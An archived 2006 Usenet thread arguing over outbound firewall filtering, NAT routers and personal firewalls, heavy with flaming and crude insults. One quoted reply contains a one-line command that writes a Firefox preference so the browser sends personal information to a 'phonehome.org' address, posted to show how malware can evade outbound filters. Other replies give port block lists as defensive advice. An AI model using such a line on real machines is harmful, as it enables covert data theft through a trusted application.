outbound filtering

outbound filtering

am 26.12.2006 18:52:12 von badgolferman

I have a NAT router with SPI filtering. I guess I'm relatively safe
from inbound baddies but not from outbound programs. Of course I am
sure that's not completely true but for the most part I believe that is
correct.

Is there an application other than a bloated PFW that can be used to
monitor outbound connections and grant access or not?

Re: outbound filtering

am 26.12.2006 19:54:29 von bassbag

In article ,
REMOVETHISbadgolferman@gmail.com says...
> I have a NAT router with SPI filtering. I guess I'm relatively safe
> from inbound baddies but not from outbound programs. Of course I am
> sure that's not completely true but for the most part I believe that is
> correct.
>
> Is there an application other than a bloated PFW that can be used to
> monitor outbound connections and grant access or not?
>
System safety monitor can do this ,or if you want a little more control
and something thats free then,kerio 2.15 pfw ,which isnt at all bloated
or Older versions of Zonealarm would suffice.Now put on your flakjacket,
and get ready for the zealots perspective.
me
me

Re: outbound filtering

am 26.12.2006 20:02:51 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 26.12.2006 20:14:08 von badgolferman

Sebastian Gottschalk, 12/26/2006, 2:02:51 PM,
<4vda0cF1bp9cjU1@mid.dfncis.de> wrote:

> badgolferman wrote:
>
> > I have a NAT router with SPI filtering. I guess I'm relatively safe
> > from inbound baddies but not from outbound programs. Of course I am
> > sure that's not completely true but for the most part I believe
> > that is correct.
>
> Security is not about believe. And your believe is pretty wrong in
> that case. Don't you know what NAT helpers are?
>
> > Is there an application other than a bloated PFW that can be used to
> > monitor outbound connections and grant access or not?
>
> Monitoring: trivially 'netstat' and all its variants. Why are you
> asking? Want to implement a firewall, but don't even know the most
> basic tools of your OS?
>
> Granting access: Doesn't work for a PFW either. Why do you think such
> a thing could work?


If your intent is to make me look stupid and yourself ingenious then I
guess you are accomplishing that. Please go ahead and explain rather
than ask questions of someone who is no expert.

Re: outbound filtering

am 26.12.2006 21:29:43 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 26.12.2006 21:32:22 von Jim Ford

badgolferman wrote:

> If your intent is to make me look stupid and yourself ingenious then I
> guess you are accomplishing that. Please go ahead and explain rather
> than ask questions of someone who is no expert.

I'm afraid it's the sort of unhelpful and sneering reply we've become
used to on this forum. He obviously knows a lot about security, but
would rather crow about it than offer help.

Jim Ford

Re: outbound filtering

am 26.12.2006 22:30:44 von badgolferman

Jim Ford, 12/26/2006,3:32:22 PM, wrote:

> He obviously knows a lot about security

Maybe not. If he really knew a lot about security he would be willing
to offer advise. I'd say he knows a lot about arrogance.

Re: outbound filtering

am 26.12.2006 22:54:09 von Jim Ford

badgolferman wrote:
> Jim Ford, 12/26/2006,3:32:22 PM, wrote:
>
>> He obviously knows a lot about security
>
> Maybe not. If he really knew a lot about security he would be willing
> to offer advise.

Maybe. I can't recall a posting by him that wasn't in the same vein as
the reply you got - all snide and sneering remarks with little
informative content. I guess most other users have kill-filed/filtered
him out by now.

Jim Ford

Re: outbound filtering

am 26.12.2006 23:40:59 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 26.12.2006 23:41:56 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 26.12.2006 23:46:04 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 26.12.2006 23:57:01 von badgolferman

Sebastian Gottschalk, 12/26/2006,5:46:04 PM, wrote:

> badgolferman wrote:
>
> > Jim Ford, 12/26/2006,3:32:22 PM, wrote:
> >
> >> He obviously knows a lot about security
> >
> > Maybe not. If he really knew a lot about security he would be
> > willing to offer advise. I'd say he knows a lot about arrogance.
>
> Actually this one rathers belongs much more to a meta discussion. Your
> problem is not a concrete security problem, but the lack of concept
> and knowledge. Offering concrete advise won't solve this more
> fundamental problem.
>
> And I've pointed out some concrete consequences of this problem:
>
> - NAT routers aren't firewall or security devices.
> - Monitoring connections doesn't require extensive packet filters with
> state machines, but just standard operating system tools requesting
> such information directly from the OS.
> - Outbound filtering doesn't work. Never did, never will, beside the
> wishes because it would be nice if it actually worked. And the reason
> is inter-process communication, some feature that you wouldn't like
> to miss either.

Thank you for the informative response.

Re: outbound filtering

am 27.12.2006 00:58:19 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 27.12.2006 00:58:32 von bassbag

In article ,
jaford@watford53.freeserve.co.uk says...
> badgolferman wrote:
>
> > If your intent is to make me look stupid and yourself ingenious then I
> > guess you are accomplishing that. Please go ahead and explain rather
> > than ask questions of someone who is no expert.
>
> I'm afraid it's the sort of unhelpful and sneering reply we've become
> used to on this forum. He obviously knows a lot about security, but
> would rather crow about it than offer help.
>
> Jim Ford
>
What makes you think he knows a lot about security?.Some of his advice
seem to be more attributable to a halfwit.
me

Re: outbound filtering

am 27.12.2006 01:58:17 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 27.12.2006 01:59:41 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 27.12.2006 02:48:02 von William

On 12/26/2006 2:46 PM, something possessed Sebastian Gottschalk to write:
> badgolferman wrote:
>
>> Jim Ford, 12/26/2006,3:32:22 PM, wrote:
>>
>>> He obviously knows a lot about security
>> Maybe not. If he really knew a lot about security he would be willing
>> to offer advise. I'd say he knows a lot about arrogance.
>
> Actually this one rathers belongs much more to a meta discussion. Your
> problem is not a concrete security problem, but the lack of concept and
> knowledge. Offering concrete advise won't solve this more fundamental
> problem.

What problem? He didn't give an abstract or concrete problem, the OP
just asked for some advise, and instead received the rantings of a mere
child who thinks he knows more than the rest of the Internet users and
uses that arrogant belief to pompously attack any others showing any
sign of ignorance (by asking for advise) in order to boost and inflate
your undeveloped ego.
>
> And I've pointed out some concrete consequences of this problem:
>
> - NAT routers aren't firewall or security devices.
Depends on the router, but most NAT routers act as hardware firewalls,
blocking unsolicited inbound connections.
> - Monitoring connections doesn't require extensive packet filters with
> state machines, but just standard operating system tools requesting such
> information directly from the OS.
Well, that will tell you where your remote endpoint connections are and
what programs are making the connection, but not much more than that.
On that note, these are snapshots, not real-time displays of connection
activity. For a real time display of remote connections I'd recommend
Kerio Personal Firewall, or if the OP doesn't want a firewall, than
sysinternals.com TCPMon.
> - Outbound filtering doesn't work.
It doesn't?
> Never did, never will, beside the wishes
> because it would be nice if it actually worked.
Well, granted it's not perfect, but neither are AVs. However, I have
found program baddies that AVs and other anti-malware proggies missed
solely from being alerted of their outbound connections (which I believe
is the added security that the OP wishes), so yes, they do work. They
may be allowed to be circumnavigated, but in the world with Windows and
Gates nothing is perfect.
> And the reason is
> inter-process communication, some feature that you wouldn't like to miss
> either.
Elaborate on this please. Are you referring to rootkits, bad modules
hooking into legit processes, or just processes communicating with
eachother via localhost port communications.

Re: outbound filtering

am 27.12.2006 11:49:15 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 27.12.2006 18:25:40 von William

On 12/27/2006 2:49 AM, something possessed Sebastian Gottschalk to write:
> William wrote:
>
>> What problem? He didn't give an abstract or concrete problem, the OP
>> just asked for some advise,
>
> No, he didn't ask for advise. He brabbled arbitrary nonsense, giving a good
> indication that he doesn't know what he wants or what he's talking about?
>
People asking for advise often don't know exactly what's out there to
fulfill their needs, otherwise they'd get that and not ask for advise.
>>> - NAT routers aren't firewall or security devices.
>> Depends on the router, but most NAT routers act as hardware firewalls,
>> blocking unsolicited inbound connections.
>
> Well, just by coincidence (since NAT works that way). However, this is not
> reliable and easily circumvented. Thus, it doesn't provide security.
Nonetheless, it IS a hardware firewall, and since you felt inclined to
mention that it wasn't, someone needed to provide correct information
before whoever reads this thread becomes as confused about firewalls and
Internet Security in general as you.
>
>>> - Monitoring connections doesn't require extensive packet filters with
>>> state machines, but just standard operating system tools requesting such
>>> information directly from the OS.
>> Well, that will tell you where your remote endpoint connections are and
>> what programs are making the connection, but not much more than that.
>
> What else do you want?
Maybe Packet Sniffing, or Monitoring not just when a connection is made,
but when an application changes (Kerio Personal Firewall provides this
PROTECTION, if a process is changed, the user is alerted to it).
>
>> On that note, these are snapshots, not real-time displays of connection
>> activity.
>
> Wrong again. There are numerous implementation that provide a complete
> cover over time.
>
Like?
>> For a real time display of remote connections I'd recommend
>> Kerio Personal Firewall,
>
> So, you're recommending that he should make his computer intentionally
> vulnerable and unstable? That's really not nice.
No, I'm recommending hi not listen to you and install either TCPMon or
if he wants something more secure to monitor outbound connections Kerio
Personal Firewall. I've never had it destablise my PC, and it's much
more secure than running without (but hey, at least he's got a hardware
FIREWALL (router).
>
>>> - Outbound filtering doesn't work.
>> It doesn't?
>
> Welcome to reality. You've been sleeping for... how long?
I try to get 8 hours of sleep every day, but in most circumstances it
DOES work.
>
>>> Never did, never will, beside the wishes
>>> because it would be nice if it actually worked.
>> Well, granted it's not perfect, but neither are AVs.
>
> Oh, you finally understand the difference between protection and intrusion
> detecting?
They're related, just like a burglar alarm is related to security, a
firewall is an essential asset to Internet Security (though it shouldn't
be the only measure)
>
>> They may be allowed to be circumnavigated, but in the world with Windows and
>> Gates nothing is perfect.
>
> That's a lame excuse for not defending against running the malware in first
> place. Which is a serious security concept that provides protection. And
> doesn't make the system more vulnerable.
The only way this user's system would become more vulnerable is if he
were to take your advise. While FWs aren't perfect, they are essential
to any Internet security implementation. Of course, no one is saying
that that should be the only user's course of action. I'm sure the OP
has already takes some other necessary steps toward securing his/her PC
long before posting here (i.e. using a NAT router, implementing at least
one AV product (but only one real-time scanner), and practicing safe-hex
practices regarding web-site and attackments.
>
>>> And the reason is
>>> inter-process communication, some feature that you wouldn't like to miss
>>> either.
>> Elaborate on this please. Are you referring to rootkits, bad modules
>> hooking into legit processes, or just processes communicating with
>> eachother via localhost port communications.
>
> for /r %i in (prefs.js) do echo
> user_pref("browser.homepage.override","http://phonehome.org/ easily_bypassed.pl?somepersonalinformation");>>"%i"
Um...This link doesn't work the way you're intending it to. For one, it
DOESN'T access prefs.js. I thought that maybe it was because of a
wordwrap, so I created a simple test.html file with
testyour broken link thingie.
I think what you were intended to demonstrate is that some processes may
try to make changes to other program's user-prefs (AFAIK, Kerio protects
against this, but I haven't had the opportunity to test this out. I do
know that when one process tries to access another (which is
interprocess communication, not what you were trying to demonstrate just
now), that Kerio does protect against that by alerting the user and
asking if he/she wants to allow or deny. Also, if I were to click this
link in in Firefox, Kerio would alert that Firefox was trying to access
the trusted zone (unless a rule is already set up), in which case,
knowing that Internet Browsers should communicate with the Internet, and
what business does it have accessing any files on your computer, than
I'd simply block it).
>
> And the next time you start up Firefox, it will phone home on behalf of the
> illegitimate application.
No, it won't, because it didn't work.
> Now, would you finally get a clue that you don't
> even need direct IPC at all to remote control other applications?
Well, will you get a clue that that was never the argument. The
argument was that you were being a mere child attacking others at any
sign of ignorance, rather then trying to assist others, in order to
boost your inflated undeveloped ego. Now that you had to try to defend
your position, the usenet community that hasn't killfiled you yet can
now see that you haven't a clue what you're talking about. Hopefully,
this will pursuade you to lurk for a little bit and listen to the real
experts, rather than spout garbage that may be harmful to the end-user
should they listen to your rantings. In Summary: NAT Router=Hardware
Firewall. Firewall=good (It depends on the FW, but I recommend Kerio,
in addition to NAT Router). No Firewall=Bad.

Re: outbound filtering

am 27.12.2006 19:37:50 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 27.12.2006 20:22:57 von Jim Ford

Leythos wrote:
> In article ,
> casey@notspecified.net says...
>> In article ,
>> void@nowhere.lan says...
>>> In article ,
>>> REMOVETHISbadgolferman@gmail.com says...
>>>> I have a NAT router with SPI filtering. I guess I'm relatively safe
>>>> from inbound baddies but not from outbound programs. Of course I am
>>>> sure that's not completely true but for the most part I believe that is
>>>> correct.
>>>>
>>>> Is there an application other than a bloated PFW that can be used to
>>>> monitor outbound connections and grant access or not?
>>> With a NAT router, not really. With a firewall, your first rule of
>>> access is to block everything and only permit access to what is
>>> required.
>>>
>>> With that in mind, many people secure the internet from their systems by
>>> blocking ports 135-139, 445, 1433, 1434 outbound - so that a compromised
>>> Windows machine and other things can't use those ports to attack others
>>> on the net. Many of us also block outbound HTTP access so that only
>>> approved sites can be accessed - so that a trojan or other malware that
>>> phones home on port 80 won't be able to reach the mother to get a new
>>> download/instructions. The same is true with HTTPS, only allow access to
>>> approved sites. Email, that's nother, we don't allow POP/SMTP outbound
>>> from the LAN, except the specific address of the email server, so people
>>> can't sit at their desks and fetch email from outside the company, and
>>> if the get a SMTP malware, it can't send blindly (unless it tries to
>>> relay through the mail server).....
>>>
>>> There is no reliable means to have the appliance block an application on
>>> your computer, but you can block what the computer accesses.
>>>
>>>
>> Leythos, thank you for this excellent information. I have used many of
>> these points in my Sygate setup for the last 4-yrs with good results.
>> Here is an example of port blocking that I use.
>>
>> Blocked TCP Ports
>>
>> Traffic Direction: Outbound
>> Remote ports
>> 1-12,14-24,26-42,44-79,81-109,111-118,120-442,444-8079,8081- 11370,11372-65535
>> Local ports
>> 1-1024,1600-65535
>>
>> Traffic Direction: Inbound
>> Remote ports
>> 1-65535
>> Local ports
>> 1-1024, 1600-65535
>
> That's a good set, but, in a typical firewall, everything is blocked by
> default, only permitted by adding a rule, so it can save a lot of work.
>

Thanks for your informative and considerate response, Lethos - a
complete contrast to the spiteful and vituperate replies by Sebastian
Gottschalk. I'm sure the O.P. and others on this forum also appreciate
your contributions.

Jim Ford

Re: outbound filtering

am 27.12.2006 20:50:01 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 27.12.2006 21:09:43 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 27.12.2006 21:44:31 von ei.posti

Leythos wrote:
> jaford@watford53.freeserve.co.uk says...

>> Thanks for your informative and considerate response, Lethos - a
>> complete contrast to the spiteful and vituperate replies by Sebastian
>> Gottschalk. I'm sure the O.P. and others on this forum also appreciate
>> your contributions.
>
> Careful, if you say nice things about me SG will kill-file you as a
> troll :)
>
> Really, I design secure network for a living, at the medical,
> government, intel, military levels, and have never had a compromised
> network. I'm sure the SG and his group could help if they were not so
> stuck on their own importance.
>
> Let me know if you need anything else.

I recall I did not see mention of port range 1024-1030 as blocked or
otherwise restricted, even though some ports in that range seem to
gather considerable non-solicited attention:

http://isc.sans.org/top10.php
http://isc.sans.org/large_map.php

There are particular applications like instant messaging clients etc.
using some of them, but still, does blocking that range prevent
Windows from working otherwise? I seem to do well enough without them.

--
S.Suikkanen

Re: outbound filtering

am 27.12.2006 22:02:13 von William

Killfile

There, that's better. You can call me names all you want now, since I
won't have to listen to it. Anyway, to the OP, seriously, listen to the
rest of us, but pay no attention to Sebastian Gottschalk. He really
gives the usenet community a bad name.

Will

Re: outbound filtering

am 27.12.2006 22:25:09 von bassbag

In article <4vfsulF1c5ci9U1@mid.dfncis.de>, seppi@seppig.de says...
>
> Now please, go away. You don't have any technical knowledge at all, and
> unless you're willing to learn, you'll just keep on spouting nonsense. I
> won't mind you, but please stop telling such nonsense to other people who
> don't know any better.
>


Hehe...do you suffer from any form of personality disorder sebastian? or
do you have a doppelganger?
me

Re: outbound filtering

am 27.12.2006 22:38:35 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 27.12.2006 23:42:25 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 28.12.2006 04:49:55 von badgolferman

William, 12/27/2006,4:02:13 PM, wrote:

> Killfile
>
> There, that's better. You can call me names all you want now, since
> I won't have to listen to it. Anyway, to the OP, seriously, listen
> to the rest of us, but pay no attention to Sebastian Gottschalk. He
> really gives the usenet community a bad name.
>
> Will

I got that impression a few days ago but it was fun watching you two
banter. Don't give up on him yet!

I decided to reinstall a PFW for outbound control. For now I am trying
to learn Comodo PFW, although it seems more complicated than the Sygate
5.6 I was using before.

Re: outbound filtering

am 28.12.2006 16:35:39 von John Wilson

On Wed, 27 Dec 2006 21:09:43 +0100, Sebastian Gottschalk
wrote:

>> I'm sure the O.P. and others on this forum also appreciate
>> your contributions.
>
>You still don't get it? This is no forum, this is Usenet.

That contributes nothing to the discussion at hand other than to
illustrate your limited understanding of the English language.



"a medium (as a newspaper or online service) of open discussion or
expression of ideas"

If you take a look at you might
learn to remedy your deficiency so you don't look so foolish in the
future.

--
John

Re: outbound filtering

am 28.12.2006 16:52:00 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 28.12.2006 17:19:13 von John Wilson

On Thu, 28 Dec 2006 16:52:00 +0100, Sebastian Gottschalk
wrote:

>You mean as foolish as you're looking now for not checking
>, which explicitly differs
>between forums and newsgroups?

Where in the sentence "I'm sure the O.P. and others on this forum also
appreciate your contributions." do you see "Internet forum"?

For your education:

Maybe you should stick to your area of expertise and avoid advising
others about the English language.

--
John

Re: outbound filtering

am 28.12.2006 17:23:56 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 28.12.2006 17:25:49 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 28.12.2006 17:34:12 von William

On 12/27/2006 7:49 PM, something possessed badgolferman to write:
> William, 12/27/2006,4:02:13 PM, wrote:
>
>> Killfile
>>
>> There, that's better. You can call me names all you want now, since
>> I won't have to listen to it. Anyway, to the OP, seriously, listen
>> to the rest of us, but pay no attention to Sebastian Gottschalk. He
>> really gives the usenet community a bad name.
>>
>> Will
>
> I got that impression a few days ago but it was fun watching you two
> banter. Don't give up on him yet!
>
> I decided to reinstall a PFW for outbound control. For now I am trying
> to learn Comodo PFW, although it seems more complicated than the Sygate
> 5.6 I was using before.
Well, that's good. Best of luck to you. I guess one of the perks (and
curses as well) to usenet is it's more or less unmoderated, so free
speech slices both ways.

Re: outbound filtering

am 28.12.2006 17:50:00 von John Wilson

On Thu, 28 Dec 2006 17:23:56 +0100, Sebastian Gottschalk
wrote:

>John Wilson wrote:
>
>> Where in the sentence "I'm sure the O.P. and others on this forum also
>> appreciate your contributions." do you see "Internet forum"?
>
>And what is context?

There's nothing about the context that limits the meaning of "forum"
to mean "Internet forum" or, as you seem to want to further limit
things, "web based forum".

We can continue this as long as you like but you should be aware that
your ineptitude is quite obvious to readers for whom English is their
first language.

It occurs to me that someone who pretends to be an English language
expert might also pretend to be an expert in other areas.

--
John

Re: outbound filtering

am 28.12.2006 19:02:55 von Jim Ford

John Wilson wrote:
> On Thu, 28 Dec 2006 17:23:56 +0100, Sebastian Gottschalk
> wrote:
>
>> John Wilson wrote:
>>
>>> Where in the sentence "I'm sure the O.P. and others on this forum also
>>> appreciate your contributions." do you see "Internet forum"?
>> And what is context?
>
> There's nothing about the context that limits the meaning of "forum"
> to mean "Internet forum" or, as you seem to want to further limit
> things, "web based forum".
>
> We can continue this as long as you like but you should be aware that
> your ineptitude is quite obvious to readers for whom English is their
> first language.
>
> It occurs to me that someone who pretends to be an English language
> expert might also pretend to be an expert in other areas.
>

Hey, I'm missing Mr Nasty already - I'm un-filtering him now!

Jim Ford

Re: outbound filtering

am 28.12.2006 19:46:34 von William

On 12/28/2006 10:02 AM, something possessed Jim Ford to write:
> John Wilson wrote:
>> On Thu, 28 Dec 2006 17:23:56 +0100, Sebastian Gottschalk
>> wrote:
>>
>>> John Wilson wrote:
>>>
>>>> Where in the sentence "I'm sure the O.P. and others on this forum also
>>>> appreciate your contributions." do you see "Internet forum"?
>>> And what is context?
>>
>> There's nothing about the context that limits the meaning of "forum"
>> to mean "Internet forum" or, as you seem to want to further limit
>> things, "web based forum".
>>
>> We can continue this as long as you like but you should be aware that
>> your ineptitude is quite obvious to readers for whom English is their
>> first language.
>>
>> It occurs to me that someone who pretends to be an English language
>> expert might also pretend to be an expert in other areas.
>>
>
> Hey, I'm missing Mr Nasty already - I'm un-filtering him now!
>
> Jim Ford
Great, I'm not. For some reason, I get the feeling that somehow reading
his posts makes my intelligence quotient drop a few points. Is it
possible to get dumber from reading someone else's rantings even if you
don't subscribe to their ideas?

Re: outbound filtering

am 28.12.2006 21:35:41 von Jim Ford

William wrote:
> On 12/28/2006 10:02 AM, something possessed Jim Ford to write:
>> Hey, I'm missing Mr Nasty already - I'm un-filtering him now!

> Great, I'm not. For some reason, I get the feeling that somehow reading
> his posts makes my intelligence quotient drop a few points. Is it
> possible to get dumber from reading someone else's rantings even if you
> don't subscribe to their ideas?

No William let's face it, he's too smart for us. Not only is he an
expert on computer security, but he's an expert in the English language.
Why, if I was to suggest that he was a bit of a 'Douglas', the geezer
would cotton on quicker than the proverbial - if you follow my drift!
It would also be no good at all to suggest that he frequently puts 'is
tootsie in 'is norf 'n sarf 'cos 'eed be onto our malarky in a flash -
even if he is a 'Hampton'!
(I hope I haven't lost out Transatlantic friends here!)

;^)

Re: outbound filtering

am 28.12.2006 22:19:23 von Volker Birk

badgolferman wrote:
> I decided to reinstall a PFW for outbound control.

Sincere condolences, that you're fooled.

Yours,
VB.
--
"Life was simple before World War II. After that, we had systems."
Grace Hopper

Re: outbound filtering

am 28.12.2006 23:50:08 von badgolferman

Volker Birk, 12/28/2006,4:19:23 PM, wrote:

> badgolferman wrote:
> > I decided to reinstall a PFW for outbound control.
>
> Sincere condolences, that you're fooled.
>
> Yours,
> VB.

Not being an expert in PC security like you, I am limited in my choices
and abilities to protect my computer. I will do those things that
offer the best in value, usability, and effort. I suppose if you
wanted to drop a trojan horse in my computer you could do so with
minimal effort but I will put up some resistance.

Now if you want to talk about electronics and aircraft simulation then
maybe I can teach you something...

--
"Good judgment comes from experience, and a lot of that comes from bad
judgment." ~ Will Rogers

Re: outbound filtering

am 29.12.2006 01:42:50 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 29.12.2006 11:48:28 von Volker Birk

badgolferman wrote:
> Volker Birk, 12/28/2006,4:19:23 PM, wrote:
> > badgolferman wrote:
> > > I decided to reinstall a PFW for outbound control.
> > Sincere condolences, that you're fooled.
> Not being an expert in PC security like you, I am limited in my choices
> and abilities to protect my computer. I will do those things that
> offer the best in value, usability, and effort. I suppose if you
> wanted to drop a trojan horse in my computer you could do so with
> minimal effort but I will put up some resistance.

There are easy ways for you to prevent from that. This is much better
than trying to detect when it's too late.

Don't use Internet Explorer. Shutdown your network services (as
explained here i.e.: http://ntsvcfg.de/ntsvcfg_eng.html) or just use a
simple packet filter like the Windows-Firewall. Keep your software up to
date; at best use online software update where possible. A virus scanner
could help to filter out the most common viruses and could be a sensible
choice, if you know, that virus scanners cannot prevent from every virus
by concept. Don't work as Administrator, use a restricted account
instead. And keep your backups up to date.

> Now if you want to talk about electronics and aircraft simulation then
> maybe I can teach you something...

Very interesting, indeed ;-) What are you working on? Maybe there is a
better group for that? Could you recommend one?

Yours,
VB.
--
"Life was simple before World War II. After that, we had systems."
Grace Hopper

Re: outbound filtering

am 29.12.2006 12:16:13 von bassbag

In article <4vj6m9F1chclfU1@mid.dfncis.de>, seppi@seppig.de says...
> badgolferman wrote:
>
> > Not being an expert in PC security like you, I am limited in my choices
> > and abilities to protect my computer. I will do those things that
> > offer the best in value, usability, and effort.
>
> OK, and then why are you trying to run a host-based packet filter without a
> clue about networking and TCP/IP? How do you think you could achieve any
> security with such prerequisities? Technology is not a panacea, and we're
> some hundred years away from intelligent software.
>
> And why aren't you paying attention to much more trivial and fundamental
> security measures?
>
> > I suppose if you wanted to drop a trojan horse in my computer you could
> > do so with minimal effort but I will put up some resistance.
>
> Are you trying to associate the PFW with that "resistance"?
>
> And with real security measures in place, such a thing wouldn't even become
> possible in first place.
>
Like not playing certain sony cds on your computer you mean?
me

Re: outbound filtering

am 29.12.2006 21:41:16 von Wheaty

Sebastian Gottschalk wrote in
news:4vfsulF1c5ci9U1@mid.dfncis.de:




>
> Ah, I understand: William = idiot
>
> Now please, go away. You don't have any technical knowledge at all,
> and unless you're willing to learn, you'll just keep on spouting
> nonsense. I won't mind you, but please stop telling such nonsense to
> other people who don't know any better.

Wow. I have watched this thread for a while now. Impressive, really. One
person can be so sure in himself, and so "secure" in his belief that HIS
system is the most secure, and his advice should be followed. Yet, while
going through the posts, I have yet to see any suggestions, or even helpful
advice from ANY of your posts. At least the OP is asking for advice. He/
she is doing so to aid in a proper decision. OP is showing critical
thinking. I must say, just that alone is far more than you are showing us.
I normally would steer clear of this, but I must admit, you do sound an
awful lot like the poster "Mr. Arnold" who has since seen the ugly side of
my killfile- a place where you will permanently reside.
Where I work, we have an entire sub department like this. We refer to them
as the "Trolls" or "Furry-teeths". We keep them locked in the server
dungeon while we deal with the real work, and only let them out at night to
check cables, and eat dust bunnies. They like to think that they are
important being in the dungeon, and are there as the "Tier 3" support and
security specialists because they are omnipotent, but the real reason we
put them there is because the sight of them causes fear in small children
and their body odour is enough to gag a maggot in a meat wagon. A bunch of
people who have too much education and book smarts, coupled with a
crippling case of small penis syndrome. They like to think they are the
most secure department, but really... its because we cut their cables.
I have no doubt in my mind that you possess a great deal of knowledge when
it comes to security. However, I have to ask- can you apply it to the real
world? And can you do what any person in the position of possessing such
knowledge should (and most would) do? Help others? I have my doubts.

kerrrrr-PLONK!

--

Whats easier for kissing random strangers? Misletoe or chloroform?

Re: outbound filtering

am 29.12.2006 21:59:23 von William

on 29 Dec 2006, something possessed Wheaty to write:

> Sebastian Gottschalk wrote in
> news:4vfsulF1c5ci9U1@mid.dfncis.de:
>
>
>
>
>>
>> Ah, I understand: William = idiot
>>
>> Now please, go away. You don't have any technical knowledge at all,
>> and unless you're willing to learn, you'll just keep on spouting
>> nonsense. I won't mind you, but please stop telling such nonsense to
>> other people who don't know any better.
>
> I normally would steer clear of this, but I
> must admit, you do sound an awful lot like the poster "Mr. Arnold" who
> has since seen the ugly side of my killfile- a place where you will
> permanently reside.

You noticed that similarity as well, huh? And to think, Duane Arnold
almost had me believing differently ;-).

Cheers, and Happy New Year.

Will

Re: outbound filtering

am 29.12.2006 22:29:02 von Death

>
> You noticed that similarity as well, huh? And to think, Duane Arnold
> almost had me believing differently ;-).
>

What's wrong with this fool?

Re: outbound filtering

am 29.12.2006 22:51:25 von Death

William wrote:
> Killfile
>
> There, that's better. You can call me names all you want now, since I
> won't have to listen to it. Anyway, to the OP, seriously, listen to the
> rest of us, but pay no attention to Sebastian Gottschalk. He really
> gives the usenet community a bad name.
>
> Will

I don't believe this. This goody two shows *clown* is running around in
the NG, playing the goofy two shoes Lone Ranger. All he is really doing
is stabbing people in the back, trying to put himself above everyone.

Old Sir William is no better than anyone else and he is far from being a
perfect Human Being, as much as he wants people to think that he is
righteous and perfect.

This so called man and I use the word *man* loosely for him is really
pitiful.

Re: outbound filtering

am 30.12.2006 00:00:26 von "GEO" Me

On Fri, 29 Dec 2006 11:16:13 -0000, bassbag
wrote:


>> badgolferman wrote:
>> > Not being an expert in PC security like you, I am limited in my choices
>> > and abilities to protect my computer. I will do those things that
>> > offer the best in value, usability, and effort.

> seppi@seppig.de wrote:
[snip]
>> And why aren't you paying attention to much more trivial and fundamental
>> security measures?
....
>> And with real security measures in place, such a thing wouldn't even become
>> possible in first place.

Did I miss where Sebastian listed all those real security
measures?? Or, as usual, he just hinted that he knows the answer but
he's not telling? More of his usual boasting of 'If you just knew as
much as I know' ?

Geo

Re: outbound filtering

am 30.12.2006 00:25:35 von Death

Wheaty wrote:
> Sebastian Gottschalk wrote in
> news:4vfsulF1c5ci9U1@mid.dfncis.de:
>
>
>
>
>>Ah, I understand: William = idiot

For Sir Righteous EL Capitan William to be running around passing
judgment on others, yes, that makes him an idiot.

>
> Wow. I have watched this thread for a while now. Impressive, really. One
> person can be so sure in himself, and so "secure" in his belief that HIS
> system is the most secure, and his advice should be followed. Yet, while
> going through the posts, I have yet to see any suggestions, or even helpful
> advice from ANY of your posts.

Wow, you're just running your mouth and you're trying to pass judgment
on others. You're no better than he is when it comes right down to it.

> At least the OP is asking for advice. He/
> she is doing so to aid in a proper decision. OP is showing critical
> thinking. I must say, just that alone is far more than you are showing us.

What are you showing here, other than, some whining?


> I normally would steer clear of this, but I must admit, you do sound an
> awful lot like the poster "Mr. Arnold" who has since seen the ugly side of
> my killfile- a place where you will permanently reside.

You should have steered clear, as you're no one to be passing judgment
on anyone.

> Where I work, we have an entire sub department like this. We refer to them
> as the "Trolls" or "Furry-teeths".

Where do you work, NeverLand?

> We keep them locked in the server
> dungeon while we deal with the real work, and only let them out at night to
> check cables, and eat dust bunnies.

I think you need to lock yourself up for making this post.


> They like to think that they are
> important being in the dungeon, and are there as the "Tier 3" support and
> security specialists because they are omnipotent, but the real reason we
> put them there is because the sight of them causes fear in small children
> and their body odour is enough to gag a maggot in a meat wagon.


You're in charge of what? How righteous?

> A bunch of
> people who have too much education and book smarts, coupled with a
> crippling case of small penis syndrome.

What does this have to do with anything, other than, you got some kind
of problem yourself?

> They like to think they are the
> most secure department, but really... its because we cut their cables.

Really? Maybe, they cut the cables to get away from you. Did you think
about that?

> I have no doubt in my mind that you possess a great deal of knowledge when
> it comes to security. However, I have to ask- can you apply it to the real
> world?

Where is the real world? I doubt that you can find it.

> And can you do what any person in the position of possessing such
> knowledge should (and most would) do? Help others? I have my doubts.

I don't see you giving any help here yourself, other than, the running
of your mouth with whining and back stabbing, righteous one.

You're not worth putting into any KF.

I'll just give you a , that's soft logical .

Re: outbound filtering

am 30.12.2006 01:04:53 von Wheaty

Death <""Death\"@The Door@No Hope.com"> wrote in
news:Pthlh.4357$pQ3.2602@newsread4.news.pas.earthlink.net:

Genetic Pullution seems to run rampant with this provider.



--

Whats easier for kissing random strangers? Misletoe or chloroform?

Re: outbound filtering

am 30.12.2006 01:09:36 von Death

Wheaty wrote:
> Death <""Death\"@The Door@No Hope.com"> wrote in
> news:Pthlh.4357$pQ3.2602@newsread4.news.pas.earthlink.net:
>

Is this your best? Why don't you whine with an abuse report?

Re: outbound filtering

am 30.12.2006 01:25:55 von William

on 29 Dec 2006, something possessed Death to write:

> William wrote:
>> Killfile
>>
>> There, that's better. You can call me names all you want now, since
>> I won't have to listen to it. Anyway, to the OP, seriously, listen
>> to the rest of us, but pay no attention to Sebastian Gottschalk. He
>> really gives the usenet community a bad name.
>>
>> Will
>
